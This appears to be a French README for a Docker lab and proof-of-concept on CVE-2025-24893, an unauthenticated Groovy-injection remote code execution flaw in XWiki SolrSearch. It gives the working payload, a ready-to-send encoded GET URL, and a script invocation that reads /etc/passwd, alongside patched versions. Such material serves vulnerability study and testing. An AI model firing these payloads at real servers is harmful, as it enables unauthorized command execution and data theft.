
Exploit d'exécution de code à distance non authentifié pour XWiki SolrSearch (CVE-2025-24893) via injection Groovy dans le paramètre text, avec environnement de laboratoire basé sur Docker et script PoC.
Main.SolrSearch est ouverte aux invités tout en évaluant le paramètre text, saisi par l'utilisateur, comme syntaxe XWiki sans validation suffisante.{{groovy}} dans text pour exécuter du code Groovy arbitraire sur le serveur, et même invoquer des commandes système via "command".execute(). Cette vulnérabilité peut être exploitée par une simple requête GET, sans connexion ni token.Ce répertoire configure un environnement vulnérable en utilisant la distribution standalone officielle XWiki 15.10.1 et l'environnement d'exécution Java 17.
Main.SolrSearch doit être accessible aux invités.text comme syntaxe XWiki.groovy doit être activée (exécutable).Cet environnement utilise XWiki 15.10.1, donc il satisfait les conditions ci-dessus.
docker compose up -d --build
Lors de la première exécution, l'installation automatique a lieu, cela peut prendre quelques minutes (environ 6 à 7 minutes).
docker compose ps
docker inspect -f '{{json .State.Health}}' xwiki-web
Lorsque le résultat de la commande ci-dessus affiche "Status":"healthy", la configuration de l'environnement est terminée et l'exploitation est possible.
pip install requests
Installe les dépendances avant d'exécuter exploit.py.
Le payload principal est le suivant :
}}}{{async async=false}}{{groovy}}println("id".execute().text){{/groovy}}{{/async}}
Le payload ci-dessus est inséré dans le paramètre text et évalué sur la page Main.SolrSearch. En conséquence, println("id".execute().text) est exécuté sur le serveur, et le résultat de la commande est reflété dans le corps de la réponse RSS.
Le script complet est disponible dans exploit.py.
python3 exploit.py
L'exécution du script Python ci-dessus permet de reproduire le PoC. La commande par défaut est id.
python3 exploit.py -c "cat /etc/passwd"
Pour exécuter une autre commande, passez un argument comme ci-dessus.
Ou bien envoyez une requête à l'URL suivante (payload qui affiche id) :
http://localhost:1337/xwiki/bin/get/Main/SolrSearch?media=rss&text=%7D%7D%7D%7B%7Basync+async%3Dfalse%7D%7D%7B%7Bgroovy%7D%7Dprintln%28%22id%22.execute%28%29.text%29%7B%7B%2Fgroovy%7D%7D%7B%7B%2Fasync%7D%7D
Capture montrant la réponse avec id
Vérification des fichiers du répertoire courant
15.10.11 ou supérieure, ou 16.4.1 ou supérieure.SolrSearch.| Élément | Contenu |
|---|
| CVE | CVE-2025-24893 |
| Produit | XWiki Platform |
| Versions vulnérables | >= 5.3-milestone-2, < 15.10.11 / >= 16.0.0-rc-1, < 16.4.1 |
| Versions corrigées | 15.10.11, 16.4.1 |
| Type de vulnérabilité | Injection d'évaluation -> RCE non authentifiée |
| Authentification requise | Non requise |
| Impact | Exécution de commandes sur le serveur possible |